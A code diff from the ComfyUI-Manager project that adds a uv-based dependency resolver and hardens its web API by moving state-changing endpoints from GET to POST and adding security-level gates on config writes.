fh.write(line.strip() + "\n")
|
||||
|
||||
lockfile_path = os.path.join(tmp_dir, "resolved-requirements.txt")
|
||||
|
||||
cmd = self._get_uv_cmd() + [
|
||||
"pip", "compile",
|
||||
tmp_req,
|
||||
"--output-file", lockfile_path,
|
||||
"--python", sys.executable,
|
||||
]
|
||||
if tmp_constraints:
|
||||
cmd += ["--constraint", tmp_constraints]
|
||||
|
||||
for url in deps.extra_index_urls:
|
||||
logger.info(
|
||||
"[UnifiedDepResolver] extra-index-url: %s",
|
||||
self._redact_url(url),
|
||||
)
|
||||
cmd += ["--extra-index-url", url]
|
||||
|
||||
logger.info("[UnifiedDepResolver] running: %s", " ".join(
|
||||
self._redact_url(c) for c in cmd
|
||||
))
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
cmd,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=300,
|
||||
)
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.warning("[UnifiedDepResolver] uv pip compile timed out (300s)")
|
||||
return LockfileResult(
|
||||
success=False,
|
||||
conflicts=["compile timeout exceeded (300s)"],
|
||||
stderr="TimeoutExpired",
|
||||
)
|
||||
|
||||
if result.returncode != 0:
|
||||
conflicts = self._parse_conflicts(result.stderr)
|
||||
return LockfileResult(
|
||||
success=False,
|
||||
conflicts=conflicts,
|
||||
stderr=result.stderr,
|
||||
)
|
||||
|
||||
if not os.path.exists(lockfile_path):
|
||||
return LockfileResult(
|
||||
success=False,
|
||||
conflicts=["lockfile not created despite success return code"],
|
||||
stderr=result.stderr,
|
||||
)
|
||||
|
||||
return LockfileResult(success=True, lockfile_path=lockfile_path)
|
||||
|
||||
except UvNotAvailableError:
|
||||
shutil.rmtree(tmp_dir, ignore_errors=True)
|
||||
raise
|
||||
except Exception:
|
||||
shutil.rmtree(tmp_dir, ignore_errors=True)
|
||||
raise
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Step 3: install
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def install_from_lockfile(self, lockfile_path: str) -> InstallResult:
|
||||
"""Install from pinned requirements (``uv pip install -r``).
|
||||
|
||||
Do **not** use ``uv pip sync`` — it deletes packages not in the
|
||||
lockfile, risking removal of torch, ComfyUI deps, etc.
|
||||
"""
|
||||
cmd = self._get_uv_cmd() + [
|
||||
"pip", "install",
|
||||
"--requirement", lockfile_path,
|
||||
"--python", sys.executable,
|
||||
]
|
||||
|
||||
logger.info("[UnifiedDepResolver] running: %s", " ".join(cmd))
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
cmd,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=600,
|
||||
)
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.warning("[UnifiedDepResolver] uv pip install timed out (600s)")
|
||||
return InstallResult(
|
||||
success=False,
|
||||
stderr="TimeoutExpired: install exceeded 600s",
|
||||
)
|
||||
|
||||
installed, skipped_pkgs = self._parse_install_output(result)
|
||||
|
||||
return InstallResult(
|
||||
success=result.returncode == 0,
|
||||
installed=installed,
|
||||
skipped=skipped_pkgs,
|
||||
stderr=result.stderr if result.returncode != 0 else "",
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# uv command resolution
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _get_uv_cmd(self) -> list[str]:
|
||||
"""Determine the ``uv`` command to use.
|
||||
|
||||
``python_embeded`` spelling is intentional — matches the actual path
|
||||
name in the ComfyUI Windows distribution.
|
||||
"""
|
||||
embedded = 'python_embeded' in sys.executable
|
||||
|
||||
# 1. Try uv as a Python module
|
||||
try:
|
||||
test_cmd = (
|
||||
[sys.executable]
|
||||
+ (['-s'] if embedded else [])
|
||||
+ ['-m', 'uv', '--version']
|
||||
)
|
||||
subprocess.check_output(test_cmd, stderr=subprocess.DEVNULL, timeout=5)
|
||||
return [sys.executable] + (['-s'] if embedded else []) + ['-m', 'uv']
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# 2. Standalone uv executable
|
||||
if shutil.which('uv'):
|
||||
return ['uv']
|
||||
|
||||
raise UvNotAvailableError("uv is not available")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Helpers — collection
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _is_disabled_path(path: str) -> bool:
|
||||
"""Return ``True`` if *path* is within a ``.disabled`` directory."""
|
||||
# New style: custom_nodes/.disabled/{name}
|
||||
if '/.disabled/' in path or os.path.basename(os.path.dirname(path)) == '.disabled':
|
||||
return True
|
||||
# Old style: {name}.disabled suffix
|
||||
if path.rstrip('/').endswith('.disabled'):
|
||||
return True
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def _read_requirements(filepath: str) -> list[str]:
|
||||
"""Read requirements file using ``robust_readlines`` pattern."""
|
||||
return manager_util.robust_readlines(filepath)
|
||||
|
||||
@staticmethod
|
||||
def _split_index_url(line: str) -> tuple[str, list[str]]:
|
||||
"""Split index-url options from a requirement line.
|
||||
|
||||
Handles lines with one or more ``--index-url`` / ``--extra-index-url``
|
||||
options. Returns ``(package_spec, [url, ...])``.
|
||||
|
||||
Examples::
|
||||
|
||||
"torch --extra-index-url U1 --index-url U2"
|
||||
→ ("torch", ["U1", "U2"])
|
||||
|
||||
"--index-url URL"
|
||||
→ ("", ["URL"])
|
||||
"""
|
||||
urls: list[str] = []
|
||||
remainder_tokens: list[str] = []
|
||||
|
||||
# Regex: match --extra-index-url or --index-url followed by its value
|
||||
option_re = re.compile(
|
||||
r'(--(?:extra-)?index-url)\s+(\S+)'
|
||||
)
|
||||
|
||||
# Pattern for bare option flags without a URL value
|
||||
bare_option_re = re.compile(r'^--(?:extra-)?index-url$')
|
||||
|
||||
last_end = 0
|
||||
for m in option_re.finditer(line):
|
||||
# Text before this option is part of the package spec
|
||||
before = line[last_end:m.start()].strip()
|
||||
if before:
|
||||
remainder_tokens.append(before)
|
||||
urls.append(m.group(2))
|
||||
last_end = m.end()
|
||||
|
||||
# Trailing text after last option
|
||||
trailing = line[last_end:].strip()
|
||||
if trailing:
|
||||
remainder_tokens.append(trailing)
|
||||
|
||||
# Strip any bare option flags that leaked into remainder tokens
|
||||
# (e.g. "--index-url" with no URL value after it)
|
||||
remainder_tokens = [
|
||||
t for t in remainder_tokens if not bare_option_re.match(t)
|
||||
]
|
||||
|
||||
pkg_spec = " ".join(remainder_tokens).strip()
|
||||
return pkg_spec, urls
|
||||
|
||||
def _remap_package(self, pkg: str) -> str:
|
||||
"""Apply ``pip_overrides`` remapping."""
|
||||
if pkg in self.overrides:
|
||||
remapped = self.overrides[pkg]
|
||||
logger.info("[UnifiedDepResolver] '%s' remapped to '%s'", pkg, remapped)
|
||||
return remapped
|
||||
return pkg
|
||||
|
||||
@staticmethod
|
||||
def _extract_package_name(spec: str) -> str:
|
||||
"""Extract normalised package name from a requirement spec."""
|
||||
name = re.split(r'[><=!~;\[@ ]', spec)[0].strip()
|
||||
return name.lower().replace('-', '_')
|
||||
|
||||
def _is_downgrade_blacklisted(self, pkg_name: str, pkg_spec: str,
|
||||
installed: dict) -> bool:
|
||||
"""Reproduce the downgrade logic from ``is_blacklisted()``.
|
||||
|
||||
Uses ``manager_util.StrictVersion`` — **not** ``packaging.version``.
|
||||
|
||||
Args:
|
||||
installed: Pre-fetched snapshot from
|
||||
``manager_util.get_installed_packages()``.
|
||||
"""
|
||||
if pkg_name not in self.downgrade_blacklist:
|
||||
return False
|
||||
|
||||
match = _VERSION_SPEC_PATTERN.search(pkg_spec)
|
||||
|
||||
if match is None:
|
||||
# No version spec: prevent reinstall if already installed
|
||||
if pkg_name in installed:
|
||||
return True
|
||||
elif match.group(2) in ('<=', '==', '<', '~='):
|
||||
if pkg_name in installed:
|
||||
try:
|
||||
installed_ver = manager_util.StrictVersion(installed[pkg_name])
|
||||
requested_ver = manager_util.StrictVersion(match.group(3))
|
||||
if installed_ver >= requested_ver:
|
||||
return True
|
||||
except (ValueError, TypeError):
|
||||
logger.warning(
|
||||
"[UnifiedDepResolver] version parse failed: %s", pkg_spec,
|
||||
)
|
||||
return False
|
||||
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Helpers — parsing & output
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _parse_conflicts(stderr: str) -> list[str]:
|
||||
"""Extract conflict descriptions from ``uv pip compile`` stderr."""
|
||||
conflicts: list[str] = []
|
||||
in_diagnostic = False
|
||||
for raw_line in stderr.splitlines():
|
||||
line = raw_line.strip()
|
||||
if line and ('conflict' in line.lower() or 'error' in line.lower()
|
||||
or (in_diagnostic and raw_line[0].isspace())):
|
||||
conflicts.append(line)
|
||||
in_diagnostic = True
|
||||
else:
|
||||
in_diagnostic = False
|
||||
return conflicts or [stderr.strip()] if stderr.strip() else []
|
||||
|
||||
@staticmethod
|
||||
def _parse_install_output(
|
||||
result: subprocess.CompletedProcess[str],
|
||||
) -> tuple[list[str], list[str]]:
|
||||
"""Parse ``uv pip install`` stdout for installed/skipped packages."""
|
||||
installed: list[str] = []
|
||||
skipped_pkgs: list[str] = []
|
||||
for line in result.stdout.splitlines():
|
||||
line_lower = line.strip().lower()
|
||||
if 'installed' in line_lower or 'updated' in line_lower:
|
||||
installed.append(line.strip())
|
||||
elif 'already' in line_lower or 'satisfied' in line_lower:
|
||||
skipped_pkgs.append(line.strip())
|
||||
return installed, skipped_pkgs
|
||||
|
||||
@staticmethod
|
||||
def _redact_url(url: str) -> str:
|
||||
"""Mask ``user:pass@`` credentials in URLs."""
|
||||
return _CREDENTIAL_PATTERN.sub('://****@', url)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Temp-file housekeeping
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@classmethod
|
||||
def cleanup_stale_tmp(cls, max_age_seconds: int = 3600) -> None:
|
||||
"""Remove stale temp directories from previous abnormal terminations."""
|
||||
tmp_root = tempfile.gettempdir()
|
||||
now = time.time()
|
||||
for entry in os.scandir(tmp_root):
|
||||
if entry.is_dir() and entry.name.startswith(_TMP_PREFIX):
|
||||
try:
|
||||
age = now - entry.stat().st_mtime
|
||||
if age > max_age_seconds:
|
||||
shutil.rmtree(entry.path, ignore_errors=True)
|
||||
logger.info(
|
||||
"[UnifiedDepResolver] cleaned stale tmp: %s", entry.path,
|
||||
)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def attribute_conflicts(
|
||||
sources: dict[str, list[tuple[str, str]]],
|
||||
conflicts: list[str],
|
||||
) -> dict[str, list[tuple[str, str]]]:
|
||||
"""Cross-reference conflict packages with their requesting node packs.
|
||||
|
||||
Uses word-boundary regex to prevent false-positive prefix matches
|
||||
(e.g. ``torch`` does NOT match ``torchvision`` or ``torch_audio``).
|
||||
"""
|
||||
conflict_text = "\n".join(conflicts).lower().replace("-", "_")
|
||||
return {
|
||||
pkg: reqs
|
||||
for pkg, reqs in sources.items()
|
||||
if re.search(
|
||||
r'(?<![a-z0-9_])' + re.escape(pkg.lower().replace("-", "_")) + r'(?![a-z0-9_])',
|
||||
conflict_text,
|
||||
)
|
||||
}
|
||||
@@ -57,7 +57,7 @@ from .generated_models import (
|
||||
EnablePackParams,
|
||||
UpdateAllQueryParams,
|
||||
UpdateComfyUIQueryParams,
|
||||
ComfyUISwitchVersionQueryParams,
|
||||
ComfyUISwitchVersionParams,
|
||||
QueueStatus,
|
||||
ManagerMappings,
|
||||
ModelMetadata,
|
||||
@@ -121,7 +121,7 @@ __all__ = [
|
||||
"EnablePackParams",
|
||||
"UpdateAllQueryParams",
|
||||
"UpdateComfyUIQueryParams",
|
||||
"ComfyUISwitchVersionQueryParams",
|
||||
"ComfyUISwitchVersionParams",
|
||||
"QueueStatus",
|
||||
"ManagerMappings",
|
||||
"ModelMetadata",
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# generated by datamodel-codegen:
|
||||
# filename: openapi.yaml
|
||||
# timestamp: 2025-07-31T04:52:26+00:00
|
||||
# timestamp: 2026-04-19T04:33:23+00:00
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
@@ -229,8 +229,8 @@ class UpdateComfyUIQueryParams(BaseModel):
|
||||
)
|
||||
|
||||
|
||||
class ComfyUISwitchVersionQueryParams(BaseModel):
|
||||
ver: str = Field(..., description="Version to switch to")
|
||||
class ComfyUISwitchVersionParams(BaseModel):
|
||||
ver: str = Field(..., description="Target ComfyUI version tag")
|
||||
client_id: str = Field(
|
||||
..., description="Client identifier that initiated the request"
|
||||
)
|
||||
@@ -502,6 +502,22 @@ class TaskHistoryItem(BaseModel):
|
||||
end_time: Optional[datetime] = Field(
|
||||
None, description="ISO timestamp when task execution ended"
|
||||
)
|
||||
params: Optional[
|
||||
Union[
|
||||
InstallPackParams,
|
||||
UpdatePackParams,
|
||||
UpdateAllPacksParams,
|
||||
UpdateComfyUIParams,
|
||||
FixPackParams,
|
||||
UninstallPackParams,
|
||||
DisablePackParams,
|
||||
EnablePackParams,
|
||||
ModelMetadata,
|
||||
]
|
||||
] = Field(
|
||||
None,
|
||||
description="Original task parameters (mirrors QueueTaskItem.params); null if unavailable",
|
||||
)
|
||||
|
||||
|
||||
class TaskStateMessage(BaseModel):
|
||||
|
||||
@@ -1,11 +1,3 @@
|
||||
|
||||
SECURITY_MESSAGE_MIDDLE = "ERROR: To use this action, a security_level of `normal or below` is required. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_MIDDLE_P = "ERROR: To use this action, security_level must be `normal or below`, and network_mode must be set to `personal_cloud`. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_NORMAL_MINUS = "ERROR: To use this feature, you must either set '--listen' to a local IP and set the security level to 'normal-' or lower, or set the security level to 'middle' or 'weak'. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_GENERAL = "ERROR: This installation is not allowed in this security_level. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_NORMAL_MINUS_MODEL = "ERROR: Downloading models that are not in '.safetensors' format is only allowed for models registered in the 'default' channel at this security level. If you want to download this model, set the security level to 'normal-' or lower."
|
||||
|
||||
|
||||
def is_loopback(address):
|
||||
import ipaddress
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -44,7 +44,7 @@ from comfyui_manager.glob.utils import (
|
||||
from server import PromptServer
|
||||
|
||||
from . import manager_core as core
|
||||
from ..common import manager_util
|
||||
from ..common import manager_util, manager_security
|
||||
from ..common import cm_global
|
||||
from ..common import manager_downloader
|
||||
from ..common import context
|
||||
@@ -80,13 +80,16 @@ from ..data_models import (
|
||||
SecurityLevel,
|
||||
UpdateAllQueryParams,
|
||||
UpdateComfyUIQueryParams,
|
||||
ComfyUISwitchVersionQueryParams,
|
||||
ComfyUISwitchVersionParams,
|
||||
)
|
||||
|
||||
from .constants import (
|
||||
model_dir_name_map,
|
||||
from ..common.security_messages import (
|
||||
SECURITY_MESSAGE_MIDDLE,
|
||||
SECURITY_MESSAGE_MIDDLE_P,
|
||||
SECURITY_MESSAGE_HIGH_P,
|
||||
)
|
||||
from .constants import (
|
||||
model_dir_name_map,
|
||||
)
|
||||
|
||||
if not manager_util.is_manager_pip_package():
|
||||
@@ -130,6 +133,9 @@ def error_response(
|
||||
|
||||
|
||||
class ManagerFuncsInComfyUI(core.ManagerFuncs):
|
||||
def is_flagged_install_allowed(self):
|
||||
return core.get_config()['allow_flagged_nodepack_install'] or manager_security.is_loopback_listener(args.listen)
|
||||
|
||||
def run_script(self, cmd, cwd="."):
|
||||
if len(cmd) > 0 and cmd[0].startswith("#"):
|
||||
logging.error(f"[ComfyUI-Manager] Unexpected behavior: `{cmd}`")
|
||||
@@ -335,6 +341,7 @@ class TaskQueue:
|
||||
status=status,
|
||||
batch_id=self.batch_id,
|
||||
end_time=now,
|
||||
params=item.params,
|
||||
)
|
||||
|
||||
# Force cache refresh for successful pack-modifying operations
|
||||
@@ -656,8 +663,7 @@ class TaskQueue:
|
||||
def _get_manager_version(self) -> str:
|
||||
"""Get ComfyUI Manager version."""
|
||||
try:
|
||||
version_code = getattr(core, "version_code", [4, 0])
|
||||
return f"V{version_code[0]}.{version_code[1]}"
|
||||
return core.version_str
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
@@ -812,10 +818,6 @@ async def task_worker():
|
||||
await core.unified_manager.reload(ManagerDatabaseSource.cache.value)
|
||||
|
||||
async def do_install(params: InstallPackParams) -> str:
|
||||
if not security_utils.is_allowed_security_level('middle+'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE_P)
|
||||
return OperationResult.failed.value
|
||||
|
||||
node_id = params.id
|
||||
node_version = params.selected_version
|
||||
channel = params.channel
|
||||
@@ -841,6 +843,11 @@ async def task_worker():
|
||||
return f"Cannot resolve install target: '{node_id}@{node_version}'"
|
||||
|
||||
node_name, version_spec, is_specified = node_spec
|
||||
# CNR versions have their own flagged-status check before download.
|
||||
level = 'middle+' if version_spec in ('nightly', 'unknown') else 'middle'
|
||||
if not security_utils.is_allowed_security_level(level):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE_P if level == 'middle+' else SECURITY_MESSAGE_MIDDLE)
|
||||
return OperationResult.failed.value
|
||||
res = await core.unified_manager.install_by_id(
|
||||
node_name,
|
||||
version_spec,
|
||||
@@ -886,11 +893,13 @@ async def task_worker():
|
||||
res = core.unified_manager.unified_update(node_name, node_ver)
|
||||
|
||||
if res.ver == "unknown":
|
||||
# unknown_active_nodes[node_id] = (url, fullpath) — url can be
|
||||
# None when git_utils.git_url() in manager_core can't determine
|
||||
# the remote URL. Downstream branches at L901/904 already
|
||||
# handle url is None, so we just need a None-safe title.
|
||||
# Harmonized with legacy/manager_server.py equivalent (WI #252).
|
||||
url = core.unified_manager.unknown_active_nodes[node_name][0]
|
||||
try:
|
||||
title = os.path.basename(url)
|
||||
except Exception:
|
||||
title = node_name
|
||||
title = os.path.basename(url) if url else node_name
|
||||
else:
|
||||
url = core.unified_manager.cnr_map[node_name].get("repository")
|
||||
title = core.unified_manager.cnr_map[node_name]["name"]
|
||||
@@ -910,7 +919,7 @@ async def task_worker():
|
||||
base_res["msg"] = OperationResult.success.value
|
||||
return base_res
|
||||
|
||||
base_res["msg"] = f"An error occurred while updating '{node_name}'."
|
||||
base_res["msg"] = res.msg or f"An error occurred while updating '{node_name}'."
|
||||
logging.error(
|
||||
f"\nERROR: An error occurred while updating '{node_name}'. (res.result={res.result}, res.action={res.action})"
|
||||
)
|
||||
@@ -966,8 +975,12 @@ async def task_worker():
|
||||
return "An error occurred while updating 'comfyui'."
|
||||
|
||||
async def do_fix(params: FixPackParams) -> str:
|
||||
if not security_utils.is_allowed_security_level('middle'):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
# Align check with SECURITY_MESSAGE_HIGH_P (which names "high+"); the
|
||||
# previous 'high' gate allowed the operation while logging a message
|
||||
# that implied a stricter requirement — confusing and slightly too lax
|
||||
# for a state-mutating fix path. Legacy/do_fix was updated to match.
|
||||
if not security_utils.is_allowed_security_level('high+'):
|
||||
logging.error(SECURITY_MESSAGE_HIGH_P)
|
||||
return OperationResult.failed.value
|
||||
|
||||
node_name = params.node_name
|
||||
@@ -995,7 +1008,7 @@ async def task_worker():
|
||||
return OperationResult.failed.value
|
||||
|
||||
node_name = params.node_name
|
||||
is_unknown = params.is_unknown
|
||||
is_unknown = getattr(params, 'is_unknown', False) # guard: pydantic Union may match UpdatePackParams
|
||||
|
||||
logging.debug(
|
||||
"[ComfyUI-Manager] Uninstalling node: name=%s, is_unknown=%s",
|
||||
@@ -1019,15 +1032,16 @@ async def task_worker():
|
||||
|
||||
async def do_disable(params: DisablePackParams) -> str:
|
||||
node_name = params.node_name
|
||||
is_unknown = getattr(params, 'is_unknown', False) # guard: pydantic Union may match UpdatePackParams
|
||||
|
||||
logging.debug(
|
||||
"[ComfyUI-Manager] Disabling node: name=%s, is_unknown=%s",
|
||||
node_name,
|
||||
params.is_unknown,
|
||||
is_unknown,
|
||||
)
|
||||
|
||||
try:
|
||||
res = core.unified_manager.unified_disable(node_name, params.is_unknown)
|
||||
res = core.unified_manager.unified_disable(node_name, is_unknown)
|
||||
|
||||
if res:
|
||||
return OperationResult.success.value
|
||||
@@ -1345,6 +1359,19 @@ async def get_history(request):
|
||||
}
|
||||
history = filtered_history
|
||||
|
||||
# Serialize TaskHistoryItem pydantic models to dicts for JSON output.
|
||||
# aiohttp's json_response uses json.dumps which cannot serialize BaseModel
|
||||
# instances; convert via model_dump(mode='json') to handle datetime fields.
|
||||
def _to_serializable(obj):
|
||||
if hasattr(obj, "model_dump"):
|
||||
return obj.model_dump(mode="json")
|
||||
return obj
|
||||
|
||||
if isinstance(history, dict):
|
||||
history = {k: _to_serializable(v) for k, v in history.items()}
|
||||
else:
|
||||
history = _to_serializable(history)
|
||||
|
||||
return web.json_response({"history": history}, content_type="application/json")
|
||||
|
||||
except Exception as e:
|
||||
@@ -1407,8 +1434,11 @@ async def fetch_updates(request):
|
||||
)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/queue/update_all")
|
||||
@routes.post("/v2/manager/queue/update_all")
|
||||
async def update_all(request: web.Request) -> web.Response:
|
||||
rejection = security_utils.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
try:
|
||||
# Validate query parameters using Pydantic model
|
||||
query_params = UpdateAllQueryParams.model_validate(dict(request.rel_url.query))
|
||||
@@ -1517,8 +1547,11 @@ async def get_snapshot_list(request):
|
||||
return web.json_response({"items": items}, content_type="application/json")
|
||||
|
||||
|
||||
@routes.get("/v2/snapshot/remove")
|
||||
@routes.post("/v2/snapshot/remove")
|
||||
async def remove_snapshot(request):
|
||||
rejection = security_utils.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
if not security_utils.is_allowed_security_level("middle"):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
return web.Response(status=403)
|
||||
@@ -1539,8 +1572,11 @@ async def remove_snapshot(request):
|
||||
return web.Response(status=400)
|
||||
|
||||
|
||||
@routes.get("/v2/snapshot/restore")
|
||||
@routes.post("/v2/snapshot/restore")
|
||||
async def restore_snapshot(request):
|
||||
rejection = security_utils.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
if not security_utils.is_allowed_security_level("middle+"):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE_P)
|
||||
return web.Response(status=403)
|
||||
@@ -1581,8 +1617,11 @@ async def get_current_snapshot_api(request):
|
||||
return web.Response(status=400)
|
||||
|
||||
|
||||
@routes.get("/v2/snapshot/save")
|
||||
@routes.post("/v2/snapshot/save")
|
||||
async def save_snapshot(request):
|
||||
rejection = security_utils.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
try:
|
||||
await core.save_snapshot_with_postfix("snapshot")
|
||||
return web.Response(status=200)
|
||||
@@ -1714,8 +1753,11 @@ async def import_fail_info_bulk(request):
|
||||
return web.Response(status=500, text="Internal server error")
|
||||
|
||||
|
||||
@routes.get("/v2/manager/queue/reset")
|
||||
@routes.post("/v2/manager/queue/reset")
|
||||
async def reset_queue(request):
|
||||
rejection = security_utils.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
logging.debug("[ComfyUI-Manager] Queue reset requested")
|
||||
task_queue.wipe_queue()
|
||||
return web.Response(status=200)
|
||||
@@ -1774,8 +1816,11 @@ async def queue_count(request):
|
||||
)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/queue/start")
|
||||
@routes.post("/v2/manager/queue/start")
|
||||
async def queue_start(request):
|
||||
rejection = security_utils.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
logging.debug("[ComfyUI-Manager] Queue start requested")
|
||||
started = task_queue.start_worker()
|
||||
|
||||
@@ -1787,9 +1832,12 @@ async def queue_start(request):
|
||||
return web.Response(status=201) # Already in-progress
|
||||
|
||||
|
||||
@routes.get("/v2/manager/queue/update_comfyui")
|
||||
@routes.post("/v2/manager/queue/update_comfyui")
|
||||
async def update_comfyui(request):
|
||||
"""Queue a ComfyUI update based on the configured update policy."""
|
||||
rejection = security_utils.reject_simple_form_post(request)
|
||||
if rejection is not None:
|
||||
return rejection
|
||||
try:
|
||||
# Validate query parameters using Pydantic model
|
||||
query_params = UpdateComfyUIQueryParams.model_validate(
|
||||
@@ -1836,17 +1884,26 @@ async def comfyui_versions(request):
|
||||
return web.Response(status=400)
|
||||
|
||||
|
||||
@routes.get("/v2/comfyui_manager/comfyui_switch_version")
|
||||
@routes.post("/v2/comfyui_manager/comfyui_switch_version")
|
||||
async def comfyui_switch_version(request):
|
||||
try:
|
||||
# Validate query parameters using Pydantic model
|
||||
query_params = ComfyUISwitchVersionQueryParams.model_validate(
|
||||
dict(request.rel_url.query)
|
||||
)
|
||||
# Body-reading handler — Content-Type gate omitted per
|
||||
# comfyui_manager/common/manager_security.py module policy: a cross-origin
|
||||
# <form method=POST> cannot forge a valid application/json body because
|
||||
# the browser would trigger a CORS preflight that this server refuses.
|
||||
if not security_utils.is_allowed_security_level("high+"):
|
||||
logging.error(SECURITY_MESSAGE_HIGH_P)
|
||||
return web.Response(status=403)
|
||||
|
||||
target_version = query_params.ver
|
||||
client_id = query_params.client_id
|
||||
ui_id = query_params.ui_id
|
||||
try:
|
||||
# Parse and validate JSON body (previously read from query string).
|
||||
# ComfyUISwitchVersionParams is reused — the field set is
|
||||
# identical for body and query; only the transport changed.
|
||||
json_data = await request.json()
|
||||
params = ComfyUISwitchVersionParams.model_validate(json_data)
|
||||
|
||||
target_version = params.ver
|
||||
client_id = params.client_id
|
||||
ui_id = params.ui_id
|
||||
|
||||
# Create update-comfyui task with target version
|
||||
task = QueueTaskItem(
|
||||
@@ -1858,6 +1915,8 @@ async def comfyui_switch_version(request):
|
||||
|
||||
task_queue.put(task)
|
||||
return web.Response(status=200)
|
||||
except json.JSONDecodeError:
|
||||
return web.Response(status=400, text="Invalid JSON body")
|
||||
except ValidationError as e:
|
||||
return web.json_response(
|
||||
{"error": "Validation error", "details": e.errors()}, status=400
|
||||
@@ -1901,51 +1960,97 @@ async def install_model(request):
|
||||
|
||||
@routes.get("/v2/manager/db_mode")
|
||||
async def db_mode(request):
|
||||
if "value" in request.rel_url.query:
|
||||
environment_utils.set_db_mode(request.rel_url.query["value"])
|
||||
core.write_config()
|
||||
else:
|
||||
return web.Response(text=core.get_config()["db_mode"], status=200)
|
||||
return web.Response(text=core.get_config()["db_mode"], status=200)
|
||||
|
||||
return web.Response(status=200)
|
||||
|
||||
@routes.post("/v2/manager/db_mode")
|
||||
async def set_db_mode_api(request):
|
||||
# Config writes are at the same risk tier as uninstall/update — apply the
|
||||
# 'middle' gate consistent with snapshot/remove, etc. Content-Type gate is
|
||||
# NOT applied here: this handler consumes application/json and a
|
||||
# cross-origin <form method=POST> cannot forge that without triggering
|
||||
# CORS preflight (see module docstring in common/manager_security.py).
|
||||
if not security_utils.is_allowed_security_level("middle"):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
return web.Response(status=403)
|
||||
try:
|
||||
data = await request.json()
|
||||
environment_utils.set_db_mode(data["value"])
|
||||
core.write_config()
|
||||
return web.Response(status=200)
|
||||
except (json.JSONDecodeError, KeyError):
|
||||
return web.Response(status=400, text="Invalid request")
|
||||
except ValueError as e:
|
||||
return web.Response(status=400, text=str(e))
|
||||
|
||||
|
||||
@routes.get("/v2/manager/policy/update")
|
||||
async def update_policy(request):
|
||||
if "value" in request.rel_url.query:
|
||||
environment_utils.set_update_policy(request.rel_url.query["value"])
|
||||
core.write_config()
|
||||
else:
|
||||
return web.Response(text=core.get_config()["update_policy"], status=200)
|
||||
return web.Response(text=core.get_config()["update_policy"], status=200)
|
||||
|
||||
return web.Response(status=200)
|
||||
|
||||
@routes.post("/v2/manager/policy/update")
|
||||
async def set_update_policy_api(request):
|
||||
# See set_db_mode_api above for gate rationale.
|
||||
if not security_utils.is_allowed_security_level("middle"):
|
||||
logging.error(SECURITY_MESSAGE_MIDDLE)
|
||||
return web.Response(status=403)
|
||||
try:
|
||||
data = await request.json()
|
||||
environment_utils.set_update_policy(data["value"])
|
||||
core.write_config()
|
||||
return web.Response(status=200)
|
||||
except (json.JSONDecodeError, KeyError):
|
||||
return web.Response(status=400, text="Invalid request")
|
||||
except ValueError as e:
|
||||
return web.Response(status=400, text=str(e))
|
||||
|
||||
|
||||
@routes.get("/v2/manager/channel_url_list")
|
||||
async def channel_url_list(request):
|
||||
channels = core.get_channel_dict()
|
||||
if "value" in request.rel_url.query:
|
||||
channel_url = channels.get(request.rel_url.query["value"])
|
||||
if channel_url is not None:
|
||||
core.get_config()["channel_url"] = channel_url
|
||||
core.write_config()
|
||||
else:
|
||||
selected = "custom"
|
||||
selected_url = core.get_config()["channel_url"]
|
||||
selected = "custom"
|
||||
selected_url = core.get_config()["channel_url"]
|
||||
|
||||
for name, url in channels.items():
|
||||
if url == selected_url:
|
||||
selected = name
|
||||
break
|
||||
for name, url in channels.items():
|
||||
if url == selected_url:
|
||||
selected = name
|
||||
break
|
||||
|
||||
res = {"selected": selected, "list": core.get_channel_list()}
|
||||
return web.json_response(res, status=200)
|
||||
|
||||
return web.Response(status=200)
|
||||
res = {"selected": selected, "list": core.get_channel_list()}
|
||||
return web.json_response(res, status=200)
|
||||
|
||||
|
||||
@routes.get("/v2/manager/reboot")
|
||||
